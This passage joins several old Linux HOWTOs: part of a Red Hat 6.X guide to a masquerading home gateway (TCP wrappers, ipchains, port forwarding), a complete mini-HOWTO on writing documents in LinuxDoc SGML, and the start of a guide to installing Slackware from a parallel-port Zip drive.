      Interrupt:10 Base address:0xe400
eth1  Link encap:Ethernet  HWaddr 00:80:C8:D3:30:2C
      inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
      UP BROADCAST RUNNING MULTICAST  MTU:1500 Metric:1
      RX packets:284112 errors:0 dropped:0 overruns:0 frame:1
      TX packets:311533 errors:0 dropped:0 overruns:0 carrier:0
      collisions:37938 txqueuelen:100
      Interrupt:5 Base address:0xe800
lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      UP LOOPBACK RUNNING  MTU:3924  Metric:1
      RX packets:12598 errors:0 dropped:0 overruns:0 frame:0
      TX packets:12598 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0

Note that the eth0 interface has a fancy outside IP address, and the eth1 address has a private internal address.

You can look at the network routes by typing the route command. On my gateway computer it looks like this:

  Kernel IP routing table
  Destination     Gateway      Genmask         Flags Metric Ref Use Iface
  255.255.255.255 *            255.255.255.255 UH    0      0     0 eth1
  192.168.1.0     *            255.255.255.0   U     0      0     0 eth1
  24.65.182.0     *            255.255.255.0   U     0      0     0 eth0
  127.0.0.0       *            255.0.0.0       U     0      0     0 lo
  default         24.65.182.1  0.0.0.0         UG    0      0     0 eth0

Here we can see the outside network is set up, the inside network is set up, the local device is set up, the special 255.255.255.255 broadcast address is set up, and the default route is set up to point to the internet providers gateway. Perfect!

Now you have the outside, and the inside. All the remains is to open the door between the two. First though, we have to make sure no monsters can get in from the outside.

3.4 Security

One of the drawbacks of being permanently connected to the internet via ADSL or cable is that your computer is exposed to potential security threats 24 hours a day, 7 days a week. Using Linux as a gateway reduces the risks, because it hides all your other computers: as far as the rest of the internet is concerned, only your Linux box is available for connections. This means that your network is only as secure as your Linux box, so at this point I'll give a few basic tips to make your box more secure.

First, you need to shut out all the bad guys. To do this, edit the file /etc/hosts.deny and make sure it looks just like this:

#
# hosts.deny  This file describes the names of the hosts which are
#             *not* allowed to use the local INET services, as decided
#             by the '/usr/sbin/tcpd' server.
#
#            The portmap line is redundant, but it is left to remind you that
#        the new secure portmap uses hosts.deny and hosts.allow. In particular
#             you should know that NFS uses portmap!
ALL: ALL

This tells the "TCP wrappers" -- which control 95% of incoming connections -- to deny all connections from all hosts. That's a pretty good rule! But, it will also keep you from connecting to your Linux box from inside your home network, which is annoying, so we will make one exception. Edit the file /etc/hosts.allow and make sure it looks just like this:

#
# hosts.allow  This file describes the names of the hosts which are
#              allowed to use the local INET services, as decided
#              by the '/usr/sbin/tcpd' server.
#
ALL: 127.0.0.1
ALL: 192.168.1.

This tells the "TCP wrappers" that they can allow connections to all services from the local device (127.0.0.1) and from your home network (192.168.1.).

You have now locked the monsters outside, with a strong padlock. If you want to put up bars and alarm systems, you will have to be alot more sophisticated. The Security HOWTO is a good place to start if you want to learn more about securing your Linux box.


Red Hat Linux 6.X as an Internet Gateway for a Home Network: Configuring Masquerading

 Next Previous Contents

4. Configuring Masquerading

All right! The preliminaries are over, this is where the magic begins. IP masquerading is one of the truly magical services Linux provides. There are commercial products for Windows which do the same thing, but not nearly as efficiently: an ancient 386 can merrily provide IP masquerading services to a whole medium sized office, but cannot even run Windows 95, let alone the add on masquerading package. (As an addendum, I read in some recent reviews that Windows 2000 will support "connection sharing" without addon software. It looks like the companies which sold connection sharing software have been "embraced and extended" by MicroSoft. However, I wouldn't recommend you try the Windows 2000 solution on a 386.)

Linux has an extremely versatile firewalling capability, and we are going to be using it in the simplest and crudest possible manner. If you want to learn how to do firewalling like an expert, you should read both the Firewalling HOWTO for an understanding of the theory and the IPChains HOWTO for instructions on the new ipchains firewalling tool which ships with the Linux 2.2.X kernel (and by extension Red Hat 6.X). There is also now a very good IP Masquerading HOWTO available which has more details on masquerading tweaks.

Configuring simple masquerading is very very easy once your internal and external networking is operational. Edit the /etc/rc.d/rc.local file and add the following lines to the bottom:

# 1) Flush the rule tables.
/sbin/ipchains -F input
/sbin/ipchains -F forward
/sbin/ipchains -F output
# 2) Set the MASQ timings and allow packets in for DHCP configuration.
/sbin/ipchains -M -S 7200 10 60
/sbin/ipchains -A input -j ACCEPT -i eth0 -s 0/0 68 -d 0/0 67 -p udp
# 3) Deny all forwarding packets except those from local network.
#    Masquerage those.
/sbin/ipchains -P forward DENY
/sbin/ipchains -A forward -s 192.168.1.0/24 -j MASQ
# 4) Load forwarding modules for special services.
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_raudio

The last two lines insert kernel modules which allow FTP and RealAudio to work for computers on the inside network. There are other modules for special services which you can tack on if you need them:

  • CUSeeMe (/sbin/modprobe ip_masq_cuseeme)
  • Internet Relay Chat (/sbin/modprobe ip_masq_irc)
  • Quake (/sbin/modprobe ip_masq_quake)
  • VDOLive (/sbin/modprobe ip_masq_vdolive)

Now you're ready to try masquerading! Run the rc.local script with the command /etc/rc.d/rc.local and you are ready to go! Sit down at one of your other computers and try some web surfing. With any luck, everything is now hunky dory.


Red Hat Linux 6.X as an Internet Gateway for a Home Network: Problems

 Next Previous Contents

5. Problems

There are lots and lots of things which can go wrong using a simple document like this, because there are plenty of special cases. The majority of possible problems adhere to the configuration of the internal and external network devices. I will try and respond to people with problems, figure out what went wrong and add links down here so that people with special case problems can track down help. Feel free to contact me at pramsey@refractions.net.

5.1 ICQ Does Not Work

Some portions of ICQ work fine over masquerading. Other portions do not work well at all. There is a beta quality ICQ module under development, however, which addresses some (but not all) of the deficiencies of running ICQ over masquerading. The README file in the source code distribution describes how to compile the module. Once you have it compiled and installed, invoke /sbin/modprobe ip_masq_icq.

5.2 I Have Caldera 2.X Not Red Hat 6.X

Well, firstly congratulations for bucking the trend! Secondly, Nelson Gibbs (ngibbs@pacbell.net) sends good news, because most of these instructions will work for you. There are some important changes to note however:

  1. A GATEWAY=xxx.xxx.xxx.xxx statement in /etc/sysconfig/network-scripts/ifcfg-eth0 & eth1 for the interface (local interface uses remote interface IP address and remote interface uses service provider's gateway IP).
  2. Make sure /etc/sysconfig/daemons/dhcpd script lists ROUTE_DEVICE as eth1 not eth0.
  3. /etc/dhcpd.conf requires a subnet statement for both interfaces (I'm not entirely sure why as I made my second statement : subnet 216.102.154.201 netmask 255.255.255.255 { } with no other options and the DHCP server listens and sends on eth0 and eth1 as well as the fallback). The DHCP server errors out if only one subnet is listed.
  4. Do not add host route 255.255.255.255, the /etc/rc.d/init.d/dhcpd script Caldera uses already fixes the problem. DO make sure to change all references to eth0 in the script to eth1.

5.3 I Want One of My Internal Machines to be my Web Server

Piece of cake! However, you need to have a static IP address for this easy set of directions to work. If you have a dynamic IP address, you will need some additional scripting to ensure that your IP address gets updated in the port forwarding commands when the address changes.

Bear in mind, forwarding an external port to an inside machine makes your "internal" machine less "internal" than before, but it can be done very transparently and with little or no performance degredation. One of the side effects of the IP masquerading code in the Linux kernel is the ability to do some pretty funky stuff with packets as they hit the network layer, and the ipmasqadm utility is built to take advantage of that.

For some reason ipmasqadm is not shipped with all the Red Hat and Mandrake variants, so will probably have to retrieve it from the maintainer's web site -- there is an RPM available there as well as source code.

Once you have the RPM, install it, and then add the following lines to your /etc/rc.d/rc.local file:

/usr/sbin/ipmasqadm portfw -f
/usr/sbin/ipmasqadm portfw -a -P tcp -L x.x.x.x 80 -R 192.168.1.x 80

The first command flushes the port forwarding rules and the second command adds a forward from port 80 on the external interface to port 80 on the internal machine. Note that the external static IP address goes in the x.x.x.x space and the internal machine IP address goes in the 192.168.1.x space.

Now external requests for port 80 will be transparently sent to port 80 of the internal machine. Note that you cannot test this by telnetting or connecting to your gateway's port 80 from one of your inside machine: the port forwarder only honors requests coming in on the external interface.


Howtos-with-LinuxDoc-mini-HOWTO

David S. Lawyer

v0.01, March 2001

This is about how to write HOWTOs using the simple LinuxDoc markup. It's primarily for Linux Documentation Project authors (and future fledging authors who want to get started fast). If you want to use the more advanced DocBook markup (including XML) see the LDP Authoring Guide.

1. Introduction

  • 1.1 Can you write a HOWTO ?
  • 1.2 Copyright (skip this if you're in a hurry)
  • 1.3 Why I wrote this

2. The Format of HOWTOs

  • 2.1 Introduction

3. Comparing LinuxDoc to DocBook

4. Learning LinuxDoc

  • 4.1 Introduction
  • 4.2 Example 1
  • 4.3 Example 2
  • 4.4 Example 3
  • 4.5 LinuxDoc Quick Reference Sheet

5. Getting/Using the LinuxDoc Software

6. Writing the HOWTO

  • 6.1 Before you start writing
  • 6.2 Guidelines
  • 6.3 Submitting the HOWTO, etc.

7. More Information


Howtos-with-LinuxDoc-mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Can you write a HOWTO ?

Do you have info about Linux that would be useful to others? Can you write clearly? Do you know how to use a word processor or editor? Do you want to help thousands of others and let them read what you write at no cost to them? Once you've written a document, are you willing to receive email suggestions from readers and selectively use this info for improving your HOWTO? Would you like to have your writings be available on hundreds of websites throughout the world? If you can answer yes to these, then you're encouraged to write something for the LDP. But be warned that all this may take more time than you expected.

1.2 Copyright (skip this if you're in a hurry)

Copyright (c) 2001 by David S. Lawyer. Please freely copy and distribute (sell or give away) this document in any format. Send any corrections and comments to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. If it's not a translation: Email a copy of your derivative work to the LDP (Linux Documentation Project) for free distribution on the Internet in a format LDP accepts. Also email such a copy to the author(s) and maintainer (could be the same person).
  2. License the derivative work in the spirit of this license or use GPL. Include a copyright notice and at least a pointer to the license used.
  3. Give due credit to previous authors and major contributors.

1.3 Why I wrote this

Why did I write this when there is already an "LDP Authoring Guide"? Well, the LDP guide is a long and detailed work. If you want to get started quickly, you need something much simpler and shorter. Furthermore the LDP guide fails to even mention the simplicity of LinuxDoc. Need I say more?

Thanks to Matt Welsh for his example.sgml file which I used as a major source of info for the example sections.


Howtos-with-LinuxDoc-mini-HOWTO: The Format of HOWTOs

 Next Previous Contents

2. The Format of HOWTOs

2.1 Introduction

Our HOWTOs are released in various formats: Plain Text, HTML, PostScript, and PDF. Instead of having to write the same HOWTO in all of these formats we write just one HOWTO in a source format which gets converted by computer into all of the others.

To get an idea of what this format looks like, take a look at the source file of a webpage (if you haven't already). You will see all sorts of words in <angle brackets>. These are called tags. These webpages (tags and all) are html: Hypertext Markup Language. The LDP uses something like this for its documents.

The languages LDP uses meet the requirements of the Standard Generalized Markup Language or SGML for short. The LDP now uses the following two flavors of sgml: LinuxDoc and DocBook. Originally it only used LinuxDoc (which was sometimes incorrectly just called sgml). Interestingly, it turns out that html is still another flavor of sgml. Now some people have gone from the DocBook flavor of sgml to the DocBook flavor of the XML standard.

This mini-HOWTO is all about using the simple LinuxDoc flavor of sgml. You may call it "LinuxDoc markup". It can be machine converted to html, plain text, postscript, pdf, and DocBook. It's a lot easier than html or DocBook and you don't need a special editor for it as it's easy to type in the tags (or use macros for them).


Howtos-with-LinuxDoc-mini-HOWTO: Comparing LinuxDoc to DocBook

 Next Previous Contents

3. Comparing LinuxDoc to DocBook

One way to do this is to go to the LDP site http://www.linuxdoc.org click on HOWTOs and then compare the sources of the same HOWTO in the two formats: LinuxDoc and DocBook. The DocBook tags are often longer than the equivalent LinuxDoc tags and there are sometimes more of them needed to do the same task. DocBook uses <para> and </para> tags to enclose each paragraph while LinuxDoc uses only a blank line to separate paragraphs (no tags). To emphasize the word "release" the comparison is:

<emphasis>release</emphasis> release
<em>release</em>

Yes, you have to type release twice in DocBook. For a section start:

<sect>
<title>Introduction<title>

<sect> Introduction

So there's much more to type with DocBook if you're typing in tags manually. But DocBook has all sorts of tags that don't exist in LinuxDoc so it's more advanced. Just using a subset of DocBook doesn't help as you can see from the above examples. There is still a lot more tag clutter. With a more and longer tags the document becomes harder to read unless you use an editor that hides them. But hiding them has it's drawbacks since it's nice to see what tags you've used.

Still, the number of people who use DocBook greatly exceeds the number using LinuxDoc. But if you do decide to migrate to DocBook there's a program by Reuben Thomas (ld2db) which can help make the conversion. It's not 100% perfect and you may have to do some manual editing. The LDP also automatically converts a LinuxDoc HOWTO to DocBook after you submit it.


Howtos-with-LinuxDoc-mini-HOWTO: Learning LinuxDoc

 Next Previous Contents

4. Learning LinuxDoc

4.1 Introduction

LinuxDoc is a lot easier to learn than DocBook. But most of what you learn about LinuxDoc would also be useful for DocBook. So if you eventually decide to go for DocBook, most of the effort spent on learning LinuxDoc will not be wasted.

One way to learn it is by examples. I've written 3 example files ranging from easy to intermediate. Start with example1. These files are included here as sections. To turn them into individual files you may cut them out and write them to files. Then you could try turning one into text by using say "sgml2txt -f example2.sgml" to see what it looks like. Make sure the file names end in .sgml.

If you want to look at some real examples you can just go to an LDP mirror site, find the HOWTOs and select LinuxDoc SGML. Or go to the main site directly: http://www.ibiblio.org/pub/Linux/docs/HOWTO/other-formats/sgml Now for the first simple example.

4.2 Example 1

<!doctype linuxdoc system>
<article>
<title>First Example (example1)
<author>David S.Lawyer

<sect> Introduction
<p> This is a very simple example of "source" for the LinuxDoc text
formatting system.  This paragraph begins with a paragraph tag (a "p"
enclosed in angle brackets).  Notice that there are other tags, also
enclosed in angle brackets.  If you don't see any tags, then you are
reading a converted file so find the source file: example1.sgml (which
contains the tags).

This is the next paragraph.  Note that it is separated from the above
paragraph by just a blank line.  Thus it needs no "p" tag in front of
it.  The "p" tag is only needed for the first paragraph of a section
(just after the sect-tag).  The file suffix: sgml stands for Standard
Generalized Markup Language.  You are now reading the LinuxDoc flavor
of sgml as specified in the very first line of this file.

<sect> Tags
<p> Tags are anything inside angle brackets.  The "sect" tag above
marks the start of a new section of this example document.
"Introduction" was the first section and you are now reading the
second section titled "Tags".  If this were a long document (like a
book), a section would correspond to a chapter.

Note that there are "article", "title" and "author" tags at the start
of this article.  At the end of this article is an "/article" tag
marking the end of this article.  Thus there is a pair of "article"
tags, the first being the start tag and the second being the end tag.
Thus this entire article is enclosed in "article" tags.  In later
examples you'll see that there are other tags that come in pairs like
this.   They affect whatever is between the pairs (start tag and end
tag).  Any tag name which has "/" just before it is an "end tag".

When this source code is converted to another format (such as plain
text using the program sgml2txt) the tags are removed.  Tags only help
the sgml2txt program make the conversion.  There are more tags to
learn.  So once you understand this example1, please go on to the next
example: example2.  You don't need to actually memorize the tags, as
they will be repeated (but with little or no explanation) in later
examples.
</article>

4.3 Example 2

<!-- This is a comment.  It's ignored when this source file gets
converted to other formats.  -->
<!-- The next required tag implies that this file is in LinuxDoc format -->
<!doctype linuxdoc system>

<article>

<title>Second Example (example2)
<author>David S. Lawyer
<date>v1.0, July 2000

<abstract>
This is the abstract.  This document is the second example of using
the Linuxdoc-SGML flavor of sgml.  It's more complex than the first
example (example1.sgml) but simpler than the third example
(example3.sgml).  After you digest this you'll be able to write a
simple HOWTO using LinuxDoc.  End of the abstract.
</abstract>

<!-- The "toc" = Table of Contents.   It will be created here. -->
<toc>

<!-- Begin the main part of the article (or document) here.  The part
above this is sort of a long header. -->

<sect>This Second Example (example2.sgml)

<p>Unless you're familiar with markup languages, you should first
read example1.sgml.  You may want to run these example files thru a
translator such as sgml2txt to convert them to text and notice how the
result looks different than this "source" document with all its tags.

<sect>Article Layout
<sect1>Document Header
<p> One way to create a header part is just to copy them from another
.sgml file.  Then replace everything except the tags with the correct
info for your document.  This is like using a "template".

<sect1> Document Body
<p>
After the header comes the body of the document, consisting of nested
sections marked by sect-tags.  Subsections are marked by sect1-tags.
Since this is the first subsection within the 2nd main section, it's
actually section 2.1.  Within a subsection there may be
sub-subsections marked by sect2-tags, etc.  For a sub-sub-sub-section
use "sect3".  There are even such tags as sect4 and sect5, but you are
unlikely to need them.

<sect2> This is a sub-sub-section
<p>
It's 2.2.1.  Note that a "p" tag may be on a line by itself.  This
doesn't change a thing in the resulting documents.

<sect> More Features in example3
<p> With the tags in this example2 you can write a simple short document
a few pages long.  But for longer documents or for other important
features such as putting links into documents, you need to study the
next example: example3.  It will show you how to create lists and
fonts.
</article>

4.4 Example 3

<!doctype linuxdoc system>
<!-- Note the mailto: after my name.  This allows the reader to click
on it to send me email -->

<article>
<title>Third Example (example3)
<author>David S. Lawyer <url url="mailto:dave@lafn.org">
<date>v1.0, July 2000
<abstract>
This document is the third example of using the LinuxDoc flavor of sgml.
It's more complex than the second example.
</abstract>
<!-- Comment: toc = Table of Contents  -->
<toc>

<sect> Fonts
<p>
While they will not show up in a plain text output, they will work
for other conversions.
<bf>boldface font</bf>   <em>emphasis font</em>     <sf>sans serif</sf>
<sl>slanted font</sl>    <tt>typewriter font</tt>   <it>italics font</it>
There's another way to get these same fonts by enclosing
the text in slashes like this:
<bf/boldface font/    <em/emphasis font/      <sf/sans serif/
<sl/slanted font/     <tt/typewriter font/    <it/italics font/

<sect> Links <label id="links_">
<p> You may create links (something that html browsers may click on to
go somewhere else).  They might just go to another part of this
document (cross-references) or they could get to a website on the
Internet.

<sect1> Cross-References
<p> If you click on <ref id="links_" name="Links"> you will be taken to
the start of the "Links" section above (which is labeled links_).
The label id may be any word you choose but it's a good idea to avoid
common words so that you can search for unique labels using your
editor.  That's why I use links_ (with the underline).  The name of
this link will be shown (in html format) as the name to click on.
This name (Links) will also be present in the text rendition.

<sect1> URL Links
<p> If you click on <url url="http://www.linuxdoc.org"> you will get
to the Linux Documentation Project website.  The next link adds a name
which people will click on: <url url="http://www.linuxdoc.org"
name="Linux Documentation Project">.  Using this second method, you may
not even need to explain where the link leads to since it's obvious by
the name.

<sect> Prohibited Characters
<p> Anything you type between angle bracket will be interpreted as a
tag.  But what if you want to display a tag in a document?  For this
you use a code word for the angle characters.

You may use &lt for < and &gt for >.  lt = Less Than, gt =
Greater Than.  For example, here's a p-tag: &lt;p&gt;.  Of
course it doesn't actually start any paragraph, but it will appear in
the converted document as <p>.  These codes all start with an &
character.  The ; after the lt is to separate it.  It's not needed if
there is a space after it.  For example: 3 &lt 4.  Actually, if
you know that its OK to use an unpaired > then you could have written
<p> as &lt;p>.  This will not be mistakenly recognized as a tag
since there is no opening <.

There are other characters that you can't put into the document text
directly.  For & in an AT modem command use: AT&amp;.  If other
characters cause you trouble see example3 or the "guide" that comes
with linuxdoc-tools or sgml-tools.

<sect> Verbatim, Code & Newline
<sect1> Verbatim
<p> If you want to insure that lines are not joined together during
conversion to other formats, use verbatim (verb).  Some things still
get recognized even though they are between verbatim tags.  This
includes the macros starting with & and end tags with /.

<tscreen><verb>
% sgml2txt -f example.sgml
</verb></tscreen>
The "tscreen" sets the font to typewriter and indents it nicely.

<sect1> Code
<p> This encloses computer code between two dashed lines.
<tscreen><code>
Put computer source code here
</code></tscreen>

<sect1> Newline
<p> To force a newline use <newline>
This sentence always starts at the left margin.

<sect>Lists
<p>
This puts items into a list with a marker at the start of each item.
They start with the "itemize" tag.
<itemize>
<item> This is the first item in a list.
<item> This is the second item
       <itemize>
       <item> Multiple levels (nesting) are supported.
       <item> The second item in this sublist
       </itemize>
       <enum>
       <item> Enumerated lists using <tt/enum/ also work.
       <item> This is item number 2
       </enum>
<item> The final item in the main list
</itemize>
</article>

4.5 LinuxDoc Quick Reference Sheet

Header Part

<!doctype linuxdoc system>
<article>
<title>Quick Reference Sheet
<author>David S. Lawyer
<date>v1.0, July 2000
<abstract> abstract here </abstract>
<toc> <!-- Comment: toc = Table of Contents  -->

Body Layout

<sect> Chapter 1            Note: Put a <p> on the first line of
<sect1> Subsection 1.1      each section (or subsection, etc.)
<sect1> Subsection 1.2
<sect> Chapter 2            Choose title names to replace "Chapter"
<sect1> Subsection 2.1      "Subsection", etc.
<sect2> Sub-subsection 2.1.1
<sect2> Sub-subsection 2.1.2
<sect1> Subsection 2.2
</article>

Fonts

There are two ways to get these:

<bf>boldface font</bf>   <em>emphasis font</em>     <sf>sans serif font</sf>
<sl>slanted font</sl>    <tt>typewriter font</tt>   <it>italics font</it>
<bf/boldface/    <em/emphasis/     <sf/sans serif/
<sl/slanted/     <tt/typewriter/   <it/italics/

Lists (nesting is OK)

Ordinary unnumbered list:               Numbered list:
<itemize>                               <enum>
<item> First item                       <item> First item
<item> Second item                      <item> Second item
<item> etc.                             <item> etc.
</itemize>                              </enum>

Links

   Cross-References:                            An Email Link:
<ref id="links_" name="Links">          <url url="mailto:bob@linuxdoc.org">

Newline, Verbatim, URLs

To force a newline <newline>
<tscreen><verb>
<url url="http://www.linuxdoc.org">
<url url="http://www.linuxdoc.org" name="Linux Documentation Project">.
</verb></tscreen>

Character Codes (macros).

  • Use &amp; for the ampersand (&),
  • Use &lt; for a left bracket (<),
  • Use &gt; for a right bracket (>),
  • Use &etago; for a left bracket with a slash (</)
  • Use &dollar; for a dollar sign ($),
  • Use &num; for a hash (#),
  • Use &percnt; for a percent (%),
  • Use &tilde; for a tilde (~),
  • Use `` and '' for quotes, or use &dquot; for ".
  • Use &shy; for a soft hyphen (that is, an indication that this is a good place to break a word for horizontal justification).


Howtos-with-LinuxDoc-mini-HOWTO: Getting/Using the LinuxDoc Software

 Next Previous Contents

5. Getting/Using the LinuxDoc Software

You could write a LinuxDoc document without having any LinuxDoc software. However it's likely that it would contain some errors in the tags (or their use) so that it would be returned to you for correction. Even if there were no errors, the results likely would not look quite right. So it's best for you to have the software to convert your source code on your computer.

The Debian distribution of Linux has a linuxdoc-tools package. There is also a rpm package for non-Debian distributions. It was formerly called sgml-tools and version 1.0.9 (the final one) may still be useful if you can't get linuxdoc-tools. Don't use the sgmltools-2 package which is primarily for DocBook.

To use it, you run converter programs on the *.sgml files. For example, type: "sgml2txt -f my-HOWTO.sgml". To get html type: "sgml2html my-HOWTO.sgml". If it shows errors, it will show the line number and the column number where the error is in the source file. Typing "man -k sgml" should show you a number of other programs with a one-line description of each.


Howtos-with-LinuxDoc-mini-HOWTO: Writing the HOWTO

 Next Previous Contents

6. Writing the HOWTO

6.1 Before you start writing

First email the HOWTO coordinator at mailto:linux-howto@metalab.unc.edu or mailto:feedback@linuxdoc.org. If you're taking over an unmaintained HOWTO, contact the former author. This may required by the copyright-license but you should do it out of courtesy even it it's not required.

6.2 Guidelines

These are mostly by Tim Bynum (a former HOWTO coordinator).

  • Be sure and use an accepted format (such as LinuxDoc :-).
  • Try to use meaningful structure and organization, and write clearly. Remember that many of the people reading HOWTOs do not speak English as their first language.
  • Make sure that all of the information is correct. I can't stress this enough. When in doubt, speculate, but make it clear that you're only guessing. I use ?? if I'm not sure.
  • Make sure that you are covering the most recent version of the available software.
  • Consider including a "FAQ" section. It might also be called "Common Problems" or "Trouble Shooting".
  • Be sure to copyright it in your name and include a license which meets the requirements stated in the LDP manifesto.
  • Use the standard header with title, author, and date (including a version number). See Example 3
  • Lastly, be prepared to receive email questions and comments from readers. How much you help people is up to you but you should make use of good suggestions and reports of errors. You may also get some "thank you" email as well as well as mail from people asking for help who never even looked at your HOWTO.

6.3 Submitting the HOWTO, etc.

After you have written the HOWTO, email the SGML source to submit@linuxdoc.org. Then all you need to do is to keep the HOWTO up-to date by submitting periodic updates to the same email as you used for the first edition.


Howtos-with-LinuxDoc-mini-HOWTO: More Information

 Next Previous Contents

7. More Information

There's a forthcoming HOWTO about LinuxDoc that covers it in much greater detail than this mini-HOWTO. To be released sometime in April 2001 ??


Linux Install From PPA-Zip drive mini-HOWTO

by Kevin Snively, k.snively@seaslug.org

v01.04, 29 April 1998

This document describes how to install Linux from a parallel port zip drive using the Slackware Linux distribution.

1. Prelude

  • 1.1 Intro:
  • 1.2 Background:
  • 1.3 Advantages:
  • 1.4 Material:
  • 1.5 Conventions:
  • 1.6 Other reading:

2. Slackware

  • 2.1 Making the first zip disk.
  • 2.2 Making the second zip disk.
  • 2.3 Making the boot floppy.

3. The install:

  • 3.1 Round 1.
  • 3.2 Round 2.
  • 3.3 Library Trouble

4. Thank you


Linux Install From PPA-Zip drive mini-HOWTO: Prelude

 Next Previous Contents

1. Prelude

1.1 Intro:

The following method has been written for use with the Slackware Linux distribution. It assumes some familiarity with it's installation. The installer will also need access to a working Linux system of any distribution. It also assumes the destination system has 4 to 6 megs ram. More powerful systems can use this method also but you will probably be able to find a faster easier way. It is not intended to be used by first time installers or by people new to Linux. Only issues specific to the use of a zip drive as source media will be covered here.

1.2 Background:

I have an OLD 486/20 slc with a 120 meg hd, 4 megs ram and a 2400 baud modem that I wanted to run Linux on. It has no cdrom drive or pcmcia connectivity, and will never see a network card (parallel port style). There is nothing left that can be upgraded on this unit.

Linux has been at the cutting edge from the start but also breathes new life into some older 386 and 486 hardware. The documentation says "386 with 2 megs ram no math coprocessor" but try to find a distribution that will do it today. Slackware can be placed on a 4 meg machine with some work and a prayer. The following system greatly reduces the work. Prayer always helps, even with the best of systems.

I've used the following system with 3 other laptops, and one 386 desktop machine. The lamest being a 386 with 4 megs ram & 60 meg HD no math coprocessor. While this system works well I'd like to be able to do similar tricks with Debian, RedHat, Caldera Lite, and some of the other popular distributions offering more choice to Linux users I help this way.

1.3 Advantages:

Installing from cdrom or Ethernet are the methods of choice when available. In cases where floppy disk install appears to be the only choice a parallel port zip drive offers numerous advantages. These include better speed than a floppy disk, and fewer disk changes. In addition on systems with minimal ram "6 megs. or less" the ability to install a swap file on the root disk uncomplicates the install greatly by freeing you from the need to creat one on the hard disk before running setup. When installing Slackware the swap file allows installers to choose the color.gz root disk or text.gz. The color.gz is not recommended for floppy based installs on machines with such limited resources. With a zip disk you may also produce an emergency boot disk during the initial install, by freeing the first floppy drive. Something not possible during a normal floppy based install on systems of this type.

1.4 Material:

This method has been used with Slackware Ver's. 3.1, through 3.4 A full Slackware install requires 2 zip disk's not counting source packages if they are desired. You will need one parallel port zip drive & cables, and a 1.44 meg boot disk. Pencil and paper are optional for making a few notes during install.

At least two systems are required to use this install method. The first (host) system is used to prepare the installation media and must contain a working Linux system. The second will be the target system. Once the media has been prepared it can be used to install to as many target systems as you like. I work from cdrom but you can down load your distribution from the Internet if you have a fast enough connection. For me this is not practical.

1.5 Conventions:

let (floppy)    represent the path to and directory you
                mount your 1.44 meg floppy disk on.

let    (zip)    represent the path to and directory you
                mount your zip disk on.

let  (cdrom)    represent the path to and directory you
                mount your cdrom on.

let (verx.x)    represent the distribution version you
                are installing.

If you down load your disk images please let (cdrom)/slakware the path and directory to those images. My parallel port zip drive shows up on my system as

        /dev/sda4
I've never seen it come up as any thing else unless I run fdisk on it and change the partition table, creating more than one partition on the disk. Then I always get corrupt disk error messages when I try to use it. You may however mark the partition type 83 Linux etc... if you wish with out trouble. You also need to know the device names of your cdrom and 1.44 meg floppy drives. Mine are

       /dev/hdc     cdrom
       /dev/fd0     1.44 meg floppy
I'll use my device names, you use yours ;-|)

About Slackware and slakware (note the missing c in slakware). Slackware is the name of the overall distribution and slakware is the name of the directory where Patrick Volkerding places the stable "not experimental or developmental" packages for installation. Whenever I'm writing about slakware I'm writing about the directory.

1.6 Other reading:

Linux Installation and Getting Started by Matt Welsh

If you are having trouble accessing your zip drive please see the Linux ZIP drive mini-HOWTO by Grant Guenther

When you have completed your install I can not recommend strongly enough that you work through the Small-Memory mini-HOWTO by Todd Burgess

Slackware

I also recommend the LOWMEM.TXT document from the Slackware documentation on your cdrom or Slackware ftp site. This document discribes a system that eleminates many of the difficulties discribed in that document.


Linux Install From PPA-Zip drive mini-HOWTO: Slackware

 Next Previous Contents

2. Slackware

2.1 Making the first zip disk.

1) Attach zip drive to host system, insert blank zip disk into the drive and boot the system to Linux

2) Login. You probably need to login as root or the user you log in as will need to be able to write file systems, mount and unmount disks etc....

3) Install an ext2fs file system on the zip disk. with the command:

         /sbin/mke2fs -b 1024 /dev/sda4
4) Mount the zip disk with:
         mount /dev/sda4 /(zip)
5) Insert your cdrom into its drive and mount it:
         mount /dev/hdc /(cdrom)
6) Make a directory to install the slakware disk images in:
         mkdir /(zip)/slakware
7) Make a writable ( non zip disk ) temporary directory on your main disk to work in. May I suggest:
         mkdir /root/slakware/(verx.x)
8) Copy the root disk image to the above named directory:
         cp /(cdrom)/rootdsks/text.gz /root/slakware/(verx.x)/
9) Change directories to the one the root disk image was copied to and decompress it with the commands:
         cd /root/slakware/(verx.x)
         gunzip text.gz
10) Install a 1.44 meg floppy with a dos or ext2fs file system on it in its drive and copy the root disk image to it this time with the dd command:
         dd if=text of=/dev/fd0
11) Mount the 1.44 meg floppy with the command:
         mount /dev/fd0 /(floppy)
12) Copy the root disk image to the zip disk:
         cp -dpR /(floppy)/* /(zip)/
13) In order to ease the install process later we will want to create a swap file on the zip disk of about 8 megs. with:
         dd if=/dev/zero of=/(zip)/swap bs=1024 count=8208
14) Initialize the swap file with:
         /sbin/mkswap /(zip)/swap 8208
15) Next with your favorite text editor you will need to edit the file /(zip)/etc/rc and after the line /bin/mount -av -t nonfs insert a new line
         /sbin/swapon /swap
16) Copy the disk images to the zip disk:
         cp -r /(cdrom)/slakware/[a-ty]* /(zip)/slakware/ &
include the square brackets [a-ty]* exactly as shown above. the & sign at the end of the line will make this command execute in the background. It takes about 20 min to complete. Use this time for some coffee and reading more HOWTO's.

17) External zip drives have two lights--mine are green and yellow; the internal drives appear to have only one. When my zip disk has finished receiving information the yellow light goes out and I'm left with just the green power light. on internal drives the single "status?" light will go out.

It is now time to prepare the floppy and zip disks for removal from their drives by unmounting them:

         cd
         umount /dev/fd0
         umount /dev/sda4

18) Life will be easier later if we check the root disk's file system before we try to use it with the command:

         /sbin/e2fsck -f /dev/sda4

When disk activity ends if there are no errors you may remove the zip disk from the drive and label it Slackware Root disk. I also include the version number in pencil.

2.2 Making the second zip disk.

If the X window system is to be installed or you will be needing one of the other prebuilt kernels it is now time to build the 2nd. zip disk.

x1) Insert disk 2 in the zip drive. I like to write an ext2fs file system on this disk also, but if it has a M$ Dos file system that will work also. I use the up arrow key on my keyboard to recall previously used commands from my history file because I'm a bit lazy, but if you want to retype the command repeat instructions 3), 4), and 6) above.

x2) Copy the X11R6 "X Window" packages to zip

         cp -r /(cdrom)/slakware/x* /(zip)/slakware/ &
